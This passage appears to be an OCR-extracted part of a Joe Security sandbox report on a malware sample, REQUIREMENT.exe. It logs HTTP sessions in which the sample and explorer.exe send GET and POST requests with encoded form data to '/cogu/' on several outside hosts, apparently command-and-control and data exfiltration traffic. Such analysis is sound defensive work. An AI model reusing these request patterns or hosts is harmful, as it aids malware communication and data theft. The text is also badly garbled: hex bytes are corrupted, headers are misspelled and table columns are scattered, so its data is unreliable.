77 65 6e 41 68 5a 42 71 6d 76 47 36 6d 4c 64 58 6¢ 71 53 69 77 52 54 4f 75 39 65 76 50 39 4d 74 5a 59 30 45 72 4a 64
53453244 454359 54 74 64 48 71 41 49 41 37 77 5a 48 34 46 33 47 79 71 44 30 52 62 4a 4d 33 6d 61 56 33 4d 54 76
4c 44 47 4c 41 70 6a 47 6f 63 59 50 4a 2d 67 6a 52 4c 59 5f 70 35 46 51 28 5a 30 4f 59 33 34 38 68 41 56 53 55 37 63 77
3048 71 70 56 44 5a 31 4c 5f 45 34 6a 76 53 4d 6¢ 4d 68 64 70 30 6d 6f 6f 4c 43 56 31 39 36 38 78 78 59 39 4d 55 28 46
58 78 7e 56 42 6¢ 39 4e 64 49 6¢ 6e 42 58 6e 7a 30 6f 58 68 62 79 4a 6e 44 76 66 77 72 72 37 78 6f 63 47 41 71 39 53 67
37 2d 5a 78 73 41 57 6d 28 56 6a 48 49 55 37 30 75 56 6a 39 48 53 7e 59 32 31 64 48 67 64 45 61 39 56 34 61 58 58 39
44 6¢ 43 63 58 46 69 38 35 4d 32 38 6a 4f 45 72 4f 44 72 52 39 4b 4d 49 55 47 32 45 4a 31 77 72 39 58 42 46 58 58 4d
7e 37 6e 63 36 53 7e 6f 53 39 45 5a 65 74 47 39 6¢ 31 33 31 5a 55 71 65 44 43 42 65 39 56 74 54 36 75 75 66 41 78 66
78523451 73 65 31 42 45 66 6b 56 47 51 62 4d 54 75 78 6¢ 59 6d 5f 71 59 44 4b 36 51 33 76 7e 35 5a 37 38 4d 39 51
4f 52 36 7a 4e 2d 47 37 4a 78 71 59 44 6e 75 73 77 4d 42 37 37 58 69 41 57 74 78 71 47 31 74 6b 6e 72 69 45 58 4b 77
39 6¢ 50 61 34 69 66 6f 68 69 4f 45 67 6f 35 6e 4a 51 52 5a 57 70 43 4f 32 6¢ 70 70 63 47 4a 75 61 49 41 66 6a 57 78 43
50 75 4b 31 73 5a 4d 4f 47 65 39 53 75 4f 7a 37 4a 50 58 48 4f 74 74 77 6a 43 52 50 74 37 44 46 75 28 47 59 49 4d 34 32
68 68 66 36 2d 64 75 36 6e 7e 4a 78 47 32 79 70 66 61 6a 48 30 34 36 75 49 63 7a 64 57 7a 54 4e 70 4f 78 61 69 48 4e
415867 38 47 68 6a 70 41 6f 28 5a 73 35 28 6¢ 31 73 4a 72 6a 67 4f 76 50 31 39 63 76 50 59 50 34 32 61 43 59 59 51
3257 78 62 33 67 48 47 37 46 31 70 77 4b 33 71 50 67 35 64 6e 7a 5559 7a 76 72 57 73 7e 6e 7a 57 50 69 67 4e 68 56
46 30 79 6b 64 6a 31 4b 67 59 59 2d 56 74 4b 52 61 32 7a 58 76 6b 61 4c 62 53 74 61 34 4d 58 6b 41 65 37 6¢ 33 46 4a
6d 57 71 34 3151 77 51 77 78 41 71 64 37 45 68 49 4d 62 64 77 70 77 6d 73 7a 4e 74 53 75 74 48 5f 34 64 54 47 4b 67
43 64 7557 79 46 5a 74 35 77 6e 68 28 6b 57 56 34 34 61 4f 4f 43 78 74 44 69 6a 50 4a 78 47 6d 55 64 75 53 57 70 34
68 64 42 67 38 57 5a 6b 6b 6a 65 46 31 63 5f 65 74 79 7a 47 6e 68 62 61 4e 4b 67 6f 7a 30 70 5a 43 78 38 56 70 42 41
56 65 47 6a 44 5f 6d 47 75 62 70 44 37 47 75 33 55 5f 6e 44 57 58 71 59 4a 57 50 70 56 75 57 69 48 58 71 6b 69 48 56
52 63 72 6d 33 55 4d 41 63 50 50 6f 77 7e 5f 39 77 69 44 72 53 69 6d 72 43 54 62 7e 4f 61 42 6f 42 73 39 45 53 4b 75 32
77717750 725834773850 76 63 76 75 4f 74 39 31 47 6e 54 55 4a 41 35 62 50 39 6f 7e 56 64 31 31 72 37 64 75 7a
2833 4d 7036 62 73 75 75 2d 46 58 67 63 6d 78 47 59 52 52 75 74 41 4a 6b 31 50 51 78 2d 72 41 7a 72 35 64 4d 4e 4a
3174 35 35 68 6b 41 78 5f 6e 53 37 65 50 78 44 57 50 64 56 76 53 4c 50 34 4a 35 79 68 4e 62 7a 4e 46 6d 28 5f 79 36 36
74 41 4f 61 55 28 4e 71 69 61 46 52 72 79 43 6b 4f 73 6e 6a 42 6d 42 49 63 68 32 33 66 4f 50 42 71 65 4a 47 48 6¢ 46 Te
4f 69 69 47 4d 49 2d 30 42 51 58 62 55 67 56 54 6a 4a 45 51 76 76 56 71 57 6b 64 43 2d 61 78 57 64 38 67 65 4a 64 2d
55 75 74 6a 49 5f 45 46 7a 53 77 32 33 4d 54 64 4a 53 6a 38 44 30 38 2d 64 47 54 72 52 62 44 44 68 79 32 4f 51 4f 79 39
51 74 49 68 67 71 6a 34 6a 65 74 47 33 7a 72 6e 48 70 6d 78 57 75 79 37 6f 2d 5a 62

Data Ascii: E6=f7NCq3pelOliP3n4gxZkdoY5HdJIr8iBOSNKk7K~gY_qYnkDQo-DcE_GmsyBpc3nCEYsXLfPssOA
heSX2NTgilP7MDenc~iAi1lPaWieBIXQ~TghlFUOt73YvKOMbNCKEYjJI6~8uB74eORNYOFMX_DPihUxcjkloW~rm1G
WubQpBBEzdrzgJ_7bnCXSiNJ6vq9a9Y IN1cYV~erMOt(T6WEMNKI-kV6dSIXOSFTHUNBT8nmwD2rFc4SWD308Wr5r
i4tCb1IV8rRn_0GwenAhZBgmvG6emLdXIgSiwRTOu9evPIMZYOErJdSE2DECY TtdHgAIA7WZH4F3GyqDORbIM3maV3
MTVLDGLApjGocYPJ-gjRLY_p5FQ(Z00Y348hAVSU7cwOHgpVDZ1L_E4jvSMIMhdpOmooL CV1968xxYIMU(FXx~VBI9
NdIInBXnz0oXhbyJnDviwrr7xocGAq9Sg7-ZxsAWm(VjHIU70uVj9HS~Y21dHgdEa9V4aXX9DICcXFi85M28jOErOD
rROKMIUG2EJ1wr9XBFXXM~7nc6S~0S9EZetG91131ZUqeDCBe9ViT6uufAxfxR4Qse1BEfkVGQbMTuxlYm_qYDK6Q3
v~5Z78M9Q0Z6zN-G7JxqYDnuswMB77XiAWtxqG1tknriEXKw9lPa4ifohiOEgo5nJQRZWpCO2lppcGJual AfjWxCPu
K1sZMOGe9SuOz7JIPXHOttwjCRPt7DFu(GYIM42hhf6-dubn~JIxG2ypfajH046ulczdWzTNpOxaiHNAXg8GhjpAo(Zs
5(11sJrjgOvP19cvPYP42aCYYQ2Wxb3gHG7F1pwK3qPg5dnzUY zvrWs~nzWPigNhVFOykdj1KgYY-VitKRa2zXvkalLb
StadMXkAe7I3FImWg41QwQwxAqd7EhIMbdwpwmszNtSutH_4dTGKgCduWyFZt5wnh(kWV44aOOCxtDijPIxGmUduSW
p4hdBg8WZkkjeF1lc_etyzGnhbaNKgozOpZCx8VpBAVeGjD_mGubpD7Gu3U_nDWXqYJWPpVuWiHXgkiHVRcrm3UMACP
Pow~_9wiDrSimrCTh~OaBoBs9ESKu2wqwPrX4w8PvcvuOt91GnTUJA5bP90~Vd11r7duz(3Mp6bsuu-FXgcmxGYRRu
tAJk1PQx-rAzr5dMNJ1t55hkAx_nS7ePxDWPdVVSLP4J5yhNbzNFm(_y66tAOaU(NgiaFRryCkOsnjBmBIch23fOPB

na IGHIE~NIiGMI-OROXhI In\/Ti IEOWWA/m\NkAC -av\N ARna Td-1 litil FE7Qw222MTdA 1RIRNNKR-AGTrRhNNhv2000MWwant!
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kBytes hggj4jetG3zrnHpmxWuy70-ZbppjZyXXy5cCaT12gcM8ZXzZNvK5UttHQYQnXFUN8D70SgZ0aA 4HEHpLMWvQiuPQ9

Timestamp transferred Direction PAtRIABRWGX6VMS36Fe3MBVbI(CN7XZEEPCVFUIWBMBLzghvyjSa8N4d4eiuTyaYJrvZ0ZiuL 6vgh6V93JsjQBtGOthR-
hwDgNAqusQtY(MdXDm~TH1wtSti-sCcriaQRUBHXxjTU6Ijfb1QxFLmGvJLIe(wxcNUdggq2GXmxLVF5IIKixDaVh
V3iTGUS45TVgSVXC-TkI_zaylpr8FS6k-XAyUA9ZBwsVUCyreyVvepvYpB5SFbRUsZUfuVkJnlybuyTRGtTv6q3iZG
RKQyslFgl6e7mWCRU73LFMudUI3xFQerkg22srBiszq97oyal4fvay7aY9-3coGbRo61f69p8gApwAQY JYxZiwuKen
RDI9Jh3023WXIiDdCGSOHffPAINUJEOGAzAbvh235RHRtjgpaVtjc2bi_8vccmb8WLrY G3tK-6wyjK2Bkaw9EVNnkNHLHUtZ-
PTzszoiK7YEWEsfoxWiw4doTKmwRMONmMNcBXLvw7Lbe4AWNHpsGQ7rLHNFRKENz20BMcOPs3rgOcXmliuMAESI
rFXa_0JxFGOWKOf3RBhOPS7DofENBJIttfG1jJI9nAwKJaRnf5eBriEMPZyiOjB5cchj60Sd1Do0p3EZMmMOUSEvVWY R~
_IPPlyC4X0_Wr83CblwY O7GQbISE04gxLziDgxIIBwE24jnUtpv5STtWjb9aMI4z0i-Y 2ZFXwyAoV80B-9872kXGJY
KCng2VzkQCz0ilioaU7D_a7cQpgl5J5nV4A4aWCGQfYy23Pn_TVGtFXLR6siu5hxU740IsrR9chcUbnHVEZcSGn5nV
BdeZ2bj(mAAJID(jUOVUXZPox06-3WOY dcu48taW~7PFifSCrH1wKRO2xxwsfDHINKPTEpjUuhy3DbcoL W8DBUSTSEY
_2pAMplwgWgKsgMIwgzCh6SEDJZ4zI82Lt1XYvUO|CdTpdLE(PZ7zeyBC3MQhNpFEb(MZi(-SRWV7E9TKwnx(KwR4
D6qUmLbtjR4k-JpPGRCSoDDiLuWWvFxOjNgJO090PZapx0p94TcQalwaaFAgvSHyowPxGhbrJ6JLhHHyfOwgjKm5g2
CHUQg-wein9N0ZGp29UVAyYpUIiZXPUUhTrWaxdjSRGTdg59bDOdw3dNJIrS0llp75LCLOZNogL200AcIMh1g39PPpGvgw
UiSAVVCNLcr9JEJI3zxV2nJCzKKeY3YIYUjrMBFAKpIKTXIVVNAOgIMLRHN7 TAJ9HFBco(NbMd2EUbEXXL6PDGcKsd
5b7F59yhfNTUMAIexz5m2iU3062xh7pzMwb6twFDbSs6FmMaRSQrEDI2011zY5l4Tv2Uqju6N8sUF72_MWmStF2sNsu
sma8uZdc3uwbTY-FJ4sr2MbMmGm6FoaZG(8cJhlHaiVPsPWybNK4Yjm84cjPSIRygDwmGF_EudirbTWoQGZrUgXEmf
UOt6iSRN5C-EDU5tTs55Z1BsJv7uel Ofpl7WTp8hyn2Tnj5FuujMqC-yf7rxPBcgbKO7jNSSuvgv5zcOHTZpvjLXMD
XtZHoCKCvDnp4VGUWGRZQugE7dDBdtTw1OhABKXVFyvZxtFi2zqDOcUlaeD8fxFht1VP0OgOX-984hmGJSpULhVunGS
82mYTWr6GByu8McOH3ucaNDQ567titjSpp_7n3LWnAA6bojoNN8crjSyKOixPK57wIHM{~BLpWAFA(n83mW,jZtHtwN
pPf5s2jW5UxXiDGHEaD3Ezjxscrn35UyXEwvLxUG3SddINC7kUJWXg6ruzsckOXSo7cEX(3CT9o0RySwmB1TeKRvPp9
Ut2Zah-GWasfGSxdGBuY6J3di(NkyHpnPi-q0(8rRoFNIWG5qsGnTeZZJIDSuub9dUH6ugz3HcKIKS2vCQUBROQZNLX
FW5BVWiU-b9w7W42MsY 1oldw8NfYzQrsEDTdIOrPkt8875uANXQZsneqthOt_0iM918gi5s8udi3I9fC58SGX8uHUWST-
LikAcMmUIJOLFn(xxfDptfgLG7aP(hDYru0Dg8Jdg7bvKRLdxZcDsGjqrkIBpl6EPrTJb-bmV5rQRgmapbjA3mr5dheW9o6cf
zV-LOkwvOArUyNNUzRaKBBrvgji5ghoQOC_PbL6(z0JyEBZallwnG3khSELnsXB8mV7126dIFDMXUOUMIMeQj~pjlb
0TJISfxKIp4ITepZA8KWIY21kbPg4eQdndSjadEizM3TObD_BLDNIiTmwIDILWp4AzgKNIEWStWDOGUUR~I6VLAXS5r7
ljAXIU0S-j3uB89LOABGxpvkF~swuCBJ1lyigDmZIRis7uiyDUzv3yRUA-tWjxGGh3dhsFayelwQugb-KOBEBKCx~Ey
HWvUQqu-Y1Ys5Qms~PIFDeCHeG6ZL5MESgRBCT3EZB8MmM7KgubX5S0IiVsnWK5GLVaPYzu9mYZD8S8iV/(
ehCAYuJVCZHu61hNsVq89loifxhxjy-5VseMcvnlIDccvpmiOV G76g6QR4e4{tS~14hSJ0niazcSRCIALCGWChGOel
hWDQtrs6LvinF2b(y5QfZFCO4FIoTbp0fy6~RoMflwlPuATkvptIMzGUkmDgmecwvH(fDUcmcG(SBLNKIZE7OWbvD5c
02jmGJ1Nuuolqgll4y2IG8cQImYZO9Un9kMOd_pEcOkSyVXiG

Oct 13, 2021 8686 IN HTTP/1.1 200 OK
15:53:36.657118082 CEST Date: Wed, 13 Oct 2021 21:53:36 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, close
Status: 304
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Session ID Source IP Source Port Destination IP Destination Port Process
6 192.168.11.20 49829 172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP  Destination Port Process
60 192.168.11.20 49858 216.189.108.75 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Oct 13, 2021 8582 ouT GET /cogu/?E6=Q5540RkvIutfUkv4jGh7NesFHfEN9TtIOrndmKD218/SIFrfn/DKKL7940R4DTj3bJkH&EVpdF=DEAIWhC
15:53:36.200520992 CEST HTTP/1.1

Host: www.tpmionline.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Oct 13, 2021 8625 IN HTTP/1.1 200 OK
15:53:36.352612019 CEST Date: Wed, 13 Oct 2021 21:53:36 GMT

Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Status: 304

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Session ID Source IP Source Port Destination IP Destination Port Process

61 192.168.11.20 49859 199.34.228.191 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Oct 13, 2021 8697 ouT POST /cogu/ HTTP/1.1

15:53:41.526828051 CEST Host: www.shopsharpgraphics.com

Connection: close
Content-Length: 131140
Cache-Control: no-cache
Origin: http://www.shopsharpgraphics.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
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kBytes
Timestamp transferred
Session ID Source IP

Copyright Joe Security LLC 2021

Direction

Source Port

Accept: */*

Bafarer: http://www.shopsharpgraphics.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 7a 35 75 32 69 6b 49 35 4f 46 74 41 49 76 31 76 35 72 52 51 5a 75 67 56 43 6f 74 71 74 52 65 52 48
61 65 30 5a 49 36 73 4f 33 28 48 4e 63 6f 39 74 74 45 67 6a 51 6¢ 39 6¢ 79 79 55 59 5f 43 4e 36 62 53 6f 46 75 54 49 6a
49 62 58 6d 4b 7e 31 59 30 35 4c 32 50 6b 6b 79 34 54 4b 75 62 4f 4c 6d 7a 72 4e 6e 30 43 30 35 52 68 56 72 33 6f 33 7e
323857 61617479 6b 77 36 3162 43 6e 6d 4a 37 7a 56 39 53 45 5f 6f 59 61 42 78 63 69 7a 59 5a 46 62 53 63 67 6¢ 49
76 51 55 4f 34 6a 7a 56 72 44 54 43 4b 35 4b 33 34 44 4e 72 2d 55 49 4d 4f 43 78 57 55 73 5f 74 52 76 6f 6d 56 4d 6d 58
59 55 6d 73 55 47 45 6a 51 58 38 53 68 31 67 56 6¢ 6a 4b 38 32 63 51 76 49 4f 64 63 39 66 32 31 73 47 37 30 34 6f 53
52 49 78 4c 46 5f 5a 70 30 76 6f 4a 78 41 72 64 33 69 63 58 30 39 62 79 43 42 44 62 6¢ 76 68 6C 43 6C 54 59 41 61 74 52
47 7537 42 46 6b 5a 62 28 6e 56 54 66 4f 52 35 37 53 43 6f 70 59 67 50 75 6f 7a 72 6e 5f 32 6f 41 36 48 32 70 74 6e 55
59537070 77 5f51 59 77 4b 63 74 6e 75 48 50 6a 6a 66 34 48 52 35 30 71 4b 4f 46 7e 39 52 68 52 46 77 56 4a 56 56
39 65 6e 79 36 65 39 66 34 44 32 34 7a 35 30 55 72 57 4a 64 47 6e 50 67 57 50 44 34 45 39 6d 28 5a 72 64 52 47 56 32
41 41 63 4b 54 7a 79 4b 62 58 6d 50 73 69 41 6¢ 67 7a 36 72 36 79 58 50 39 6f 74 34 4f 51 65 34 31 62 56 57 4f 59 61 41
34 46 4d 57 68 64 57 76 73 38 58 33 56 55 4c 6b 32 4e 28 72 51 56 6¢ 78 6¢ 6d 37 58 66 6f 57 71 74 79 70 71 38 51 55 4f
6f 39 31 77 36 55 51 6e 62 62 6a 56 49 78 4f 2d 33 66 49 71 6a 4a 42 45 54 54 45 66 39 66 63 6f 43 51 6b 42 75 59 41 79
6C 69 30 6a 69 30 77 6d 79 47 34 79 75 58 6e 2d 33 5f 6¢ 76 6b 31 47 31 6d 6f 31 6e 65 4e 36 56 4a 4e 34 39 30 73 49
4859 42 35 44 6d 44 7a 37 39 6e 49 6b 48 56 48 66 78 47 6d 43 4b 51 56 53 6e 6¢ 78 2d 59 62 39 76 72 44 56 76 73 6a
42 49 35 45 66 62 48 51 30 77 37 37 46 4b 30 42 38 35 41 4c 6a 43 34 48 33 79 6e 45 61 47 58 5f 41 4f 46 5a 43 77 77
4a 66 73 73 2d 44 52 7a 6b 42 74 33 57 47 7a 61 67 7e 41 4a 5a 77 77 43 78 78 34 39 45 57 31 30 65 36 4b 7a 71 79 42
7a 6a 30 6c 47 56 6e 42 72 4a 4b 4f 59 4d 4c 4e 35 76 4f 65 71 7a 28 70 73 30 76 64 6f 56 4e 33 39 6a 76 62 62 69 72 75
28 73 5550 35 70 65 58 36 74 6¢ 4a 41 43 53 67 72 54 7a 5f 41 4b 37 51 32 6b 48 4c 64 59 68 70 73 4a 43 53 69 7a 79
34 58 46 7e 55 59 73 55 77 6f 64 4c 6d 39 4d 4c 4d 44 55 38 4e 31 5a 47 72 61 51 36 41 6d 42 46 31 72 44 28 64 42 44
375770393649 36 71 73 4e 51 76 6d 39 79 63 6f 42 62 58 64 45 30 55 7e 35 61 76 38 63 4d 62 31 2d 33 37 49 49 70
6251 72 72 39 68 5a 6e 32 51 4b 61 31 78 6e 67 74 41 33 6¢ 4c 56 4c 58 51 48 41 69 77 65 4f 4f 68 64 64 45 35 74 73 68
6d 57 4e 7557 49 31 79 71 61 72 34 50 34 31 7e 51 6a 75 61 47 73 30 51 64 6¢ 62 79 5f 6¢ 30 4a 6a 45 68 61 69 59 63
45 56 6b 68 77 52 75 48 35 64 4b 50 4e 49 71 34 54 58 72 6e 54 49 71 4b 75 68 68 57 64 54 51 68 4f 54 6f 66 72 36 4e
35 6e 65 72 66 6f 32 4d 6f 37 37 58 67 57 56 78 5f 4e 67 64 76 74 48 33 38 78 55 6e 6a 5a 4e 43 36 61 67 65 30 54 71 32
56 58 47 73 33 6e 57 53 58 54 35 36 4a 66 42 4b 52 4c 49 28 73 4f 77 35 4d 76 32 6a 42 35 57 75 42 4b 63 6d 6e 45 4a 4
b 56 79 6d 74 47 4a 78 67 37 7e 50 43 50 6d 62 72 39 53 2d 45 45 74 56 79 72 4e 37 31 48 44 58 6b 65 76 5a 37 65 4f 76
42 57 32 6¢ 32 39 51 7a 49 32 37 5f 6a 79 37 51 4e 31 6e 39 4d 59 4f 4¢c 75 77 43 5f 58 62 50 45 6e 7a 75 45 68 36 6b 6¢
757131 6e 79 73 4d 66 30 33 41 34 41 64 71 65 66 79 4f 6d 5a 41 41 4c 44 46 6e 77 49 38 75 69 42 52 41 47 38 41 49
75 6d 71 75 54 74 55 70 51 50 69 7a 7a 6d 74 64 73 30 64 4b 4d 38 5f 53 61 28 58 39 34 43 4a 43 74 57 6a 43 6b 47 31
4f 42 32 34 66 37 70 62 49 55 77 42 65 45 71 77 53 62 61 67 76 77 4c 78 48 70 5a 63 4d 56 67 73 4b 75 56 78 4f 48 72
42 44 71 73 66 43 63 34 71 4a 51 36 31 70 75 35 76 7a 7a 4f 4d 4d 63 49 4d 45 41 4f 55 54 74 32 42 42 59 4d 73 74 62 6¢C
63 44 58 4e 31 61 68 48 50 66 54 35 4d 31 33 4¢c 51 7a 4d 42 4b 61 54 4c 4f 53 64 55 62 39 58 56 71 4e 68 36 33 7a 5f 4d
73614541 5641645979 6d 7437 7874714539 786669 33 4e 41 4¢c 73 56 34 37 63 43 66 70 31 62 52 72 6d 4e 30
73 4558 70 57 35 63 4a 44 48 46 4a 28 7a 31 5a 42 6d 61 49 56 4f 28 58

Data Ascii: E6=z5u2ikI50FtAlv1v5rRQZugVCotqtReRHae0Z16sO3(HNcoSttEgjQI9lyyUY_CN6bSoFuTIjlbXmK~1Y05L2
Pkky4TKubOLmzrNnOC05RhVr303~28Waatykw61bCnmJ7zVISE_oYaBxcizYZFbScgllvQUO4jzVrDTCK5K34DNr-U
IMOCXxWUs_tRvomVMmXYUmsUGEjQX8Sh1gVIjK82cQvIOdc9f21sG7040SRIXLF_ZpOvoJxArd3icX09byCBDbIvhiC
ITYAatRGu7BFkZb(nVTfOR57SCopYgPuozrn_20A6H2ptnUY Sppw_QYwKctnuHPjjf4AHR50gKOF~9RhRFwWVJIVV9eny
6e9f4D24z50UrwJdGnPgWPD4EIM(ZrdRGV2AACcKTzyKbXmPsiAlgz6r6yXP9ot40Qe41bVWOYaA4FMWhdWyvs8X3VUL
k2N(rQVIxIm7XfoWqtypg8QU0O091w6UQnbbjVIxO-3flgjJBET TEf9fcoCQkBuUYAyli0jiowmyG4yuXn-3_Ivk1G1im
01neN6VIN490sIHYB5DmMDz79nIkHVHIXGmMCKQVSnIx-Yb9vrDVvsjBISEfoHQOW77FKOB85AL|C4H3ynEaGX_AOFZC
wwJfss-DRzkBt3WGzag~AJZwwCxx49EW10e6KzqyBzjoIGVnBrJKOYMLN5vOeqz(psOvdoVN39jvbbiru(sUP5peX6
tIJACSgrTz_AK7Q2kHLdYhpsJCSizy4XF~UYsUwodLm9MLMDUBN1ZGraQ6AmBF1rD(dBD7Wp9616gsNQvm9ycoBbXd
EOU~5av8cMb1-371IpbQrrohZn2QKalxngtA3ILVLXQHAIweOOhddEStshmWNuWIlyqgar4P41~QjuaGs0Qdlby_[0J
jEhaiYcEVKhwRUH5dKPNIg4TXrnTIgKuhhWdTQhOTofréN5nerfo2Mo77XgWVx_NgdvtH38xUnjZNC6age0Tq2VXGs
3nWSXT56JfBKRLI(sOW5Mv2jB5WuBKecmnEJKVYymtGIxg7~PCPmbraS-EEtVyrN71HDXkevZ7eOvBW2I29QzI27_jy7
QN1n9MYOLuwC_XbPEnzuEh6kluglnysMf03A4AdgefyOmZAALDFnwIBuiBRAGBAIUMquTtUpQPizzmtdsOdKM8_Sa(
X94CJCtWjCkG10J24f7pjluwBeEqwSbagvwlLxHpZcMVgsKuVxOHrBDgsfCc4qJQ61pusvzzOMMCIMEAOUTt2BBY Mst
blcDXN1ahHPfT5M13LQzMBKaTLOSdUb9XVgNh63z_MsaEAVAYymt7xtqEIxfiBNALsV47cCfplbRrmNOSEXpW5cID
HFJ(z1ZBmalVO(XbsnequVpO4HOF1Y gh-yTtRCngwANnniNHtzkx2zfV9Af_wK8aV5uwlgqHWzrcV87Ipvi1gkxfECz7
YeRYnNvF2JjJHEVCGObGvnYKXII0GdEaaeM5300295086fsszATq6e5LQSxGZqHEBCuptjFc588xwzEQgn8XOtEPYWP
GBr~r96PsSHPY|BbkBiBKpyaQ8UjjizhX6is~YSNaCJJdVY75I17qP2S0O15alLOH4sn0E3DexVGItMZImCTfioY SHOpdg_M-
Kj8BBD(Ir-ot5z5CnyfL. BkAz5u18Wrg8KwiDdTH5bbZXqundPxHans6d5GRyA0~RES2SSccyvdSEwWAa8XA51A
Y~ahoMFmLyrjlGOuOFrygImrO9tipu4Vm4zgioee3ZmY3JwlY89V8gndexyOVIXxY(ss_OlczknKuDseANPYyVOelD
3txt3mwV611m7UIC5506hAidn6SIUYy01UKJIIalx1ikF7qjsUY TZpx15j8ffc-kLriZZ9vCThnmSAzoyAUr8WO4D81Y2
gEOXL~Ja-YXGMWcKk3g057xS_YnMShSIC3DKhw1C4yOAjINYXf_4YTmjN1X002g1VZGyx6ueary2THp~pHxaC49RSh
TB09MIYiG(KhcQMODwc3ImT2gJiWaiu7ZL80_DfNwimTwIPEGPF8QQGMPgnV_DOjEOIgHGYt8nFIIXCBhmFrMIX9wm
nNHQCwyxIOsTZDTfpgRcgQq_~NI4ZaoRTAmRjtdpj53WI0ATgWiLtsxvfKxVNQat18BHBHWOhZHgbzAXdwJKfyoFa
aCDmc7D9lpgFyfB4B8Y3rj7EzL TwzvGj1fLm1jJqT4u91WWNQecmv6lOofd-CacswwDp5YLdH23rG02cAjb8ri3Bug5g-
9uscTPmMYrz3X~dmRBEGjahWUsTUtXcpuxS4bBrO4Wijp4fElsGjwaVkdPIXUDoBrEA9uad8tEEI6322IBmzCgc
Eqk4D(nGmmviMu4WEdmI2nINS3NKTcp3gNEKWEWY u(-jRMSNIrOEh3rOBrtxKE46jUygtOMY 6 TzfF33viZvercELpESC_sk(-
6Cq1AzJ8o_X7a50B74ynmj3n~LanjBIhOIflGv7S3jwBQt2SRPSGi3067hsNeSAO2tVrKaVPulkFMKTy2G09pEbr2EIq2
ixuUwlvpW2A04Wm7xbTWYKmsJHp7yOrhyh24hd-jONjGOOhZPm1NmM8ZDtHUMsWuYvezCTXLp6gLD1PrV
ySQYeQQ(8LIfy9F6nst1jQIEIgQoIQkvXILZFIP0O502GgxUfDPALE23-jZp2cteqlikTliwgkQVCob89pGyJV2B1x
8XqdgSFDI5niNqy6x89i74f9kpXyEtCIFZh~00Dy2F6ie9jPWSJ76FsegltmhGsALZxFRewDPGdt-s6trxIHQAESFPp2-
rimboyvklOXDhB~a30JS8BP8YChBoejMgfePuMVwN5cmgITIOF61UlyytCOG2WFQOpN070VxJIXACI992XEMVI6k
iMjqUdLogFmoJIitWQioNiasukXJVU3DogC5u_JbiC~nvR35LISMv4p55n0P9WjrK-KwpEF4mdWye2ZM8sjBvmcNglV
krCPOODE_7zqC(IxwReGIMW73r7RhelD7cCHEYHHsAAHwWFeoFdf302tCszFh-Lji2Sel_Eal104iYxclxn_HcDwl02
UVRh477nZPmrmvMIpPzlizhO-~A5h5e~gBKrrrQBrhSSOW._siElevXPbKJIhLQSA3G3ANY2m4RXTvLOVhQTWPBS(S6-
PdJIx~zLHGFEIiZIb_3bvdBWEsTc3GcJ5fVIEDezmGVRkb14Eqm87tX_5brkWAJ-RaKSvp2zFLE4IG9H~7KzkeJqJjd-
sYzXPwIm2fCQ6gpZrpImR2pgFAMKTISoDn_9fPsvXVZwDOZIRKANWGmMzxHFvh9-eVI3pTQSR6uiTZTK2vPXOR6rx
P~0mUJAsmP6tdAoeDOWmMZEtUsIBL7pdx9uerm|T018IpujBdRsqJopGvuPWXqlr7NT8GTdVLXnPhKYHxDMghQ3JtKe
diOrd8s(x2EhVJIbDZKMCZIR]_zal5dvkNjT1laxubNrF2oxy87GguvCB(YZPixaubljuZKQ0zy128i9bwoCunEEmaTR
A~gmtCI7VIv4HbVTLXjy5r36UoV301Z2FbZbnMU7ZqC0OJov8CHPYglmY 1i6zpiWexcHMiHNwoP1glou7nxeLMwnxnD
DOCfh0c6Wb0pX(UylMaWTK3FkDo8_oUcQfUStU6xLhIBK1b24bXI9flrRIAFdR3KDuwMLIbmFluexs-nVLU6aM2mhb
oWGRxgdv8T 7nt9sT4tF7DF24T2D~kJY2n7YkGUWS5bYjk2XVL0OcfQldwa5mmL6fV4AUgdL1TSNFB9gz5GghtKmmryaq
zI0f9h9eDduOYwO4DYBNTMgz_oNmo(RB-n4n8ByrrNRdar7drh4Di~RswzH(m5jzwH1XXgZFZ6UJOPreK99qosBGku
Cjf2r~MzB5YmMj_TEQfArSoucFCXTYEmMTTRKbnIpnSY Yy93suP Xm5MXgOhXEwVighOvJW9WcvgAL9IzDEcv1llov7j
VIdhtymBbH1crCD1y9TGoXSvDTXjEwxrPYcv2TgglHagRGbEy2dIAfgld(2We3vidx1RyX7q4vCH2y5bJfvNjmY2lk
tINRWWfas5rBuOcEk20iGwVC2VNIyuGSd32HEyJ

Destination IP Destination Port Process
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Session ID Source IP

62 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

63 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

64 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

65 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

66 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

67 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

68 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

69 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

7 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

8 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49860

Direction

Source Port

49862

Direction

Source Port

49863

Direction

Source Port

49864

Direction

Source Port

49865

Direction

Source Port
49866

Direction

Source Port
49867

Direction

Source Port
49868

Direction

Source Port
49830

Direction

Source Port

49831

Direction

Destination IP

199.34.228.191

Data

Destination IP

199.34.228.191

Data

Destination IP

137.117.17.70

Data

Destination IP

192.0.78.25

Data

Destination IP

3.121.211.190

Data

Destination IP
156.67.72.176

Data

Destination IP
198.54.117.210

Data

Destination IP
204.141.43.204

Data

Destination IP
172.217.168.33

Data

Destination IP

172.217.168.46

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
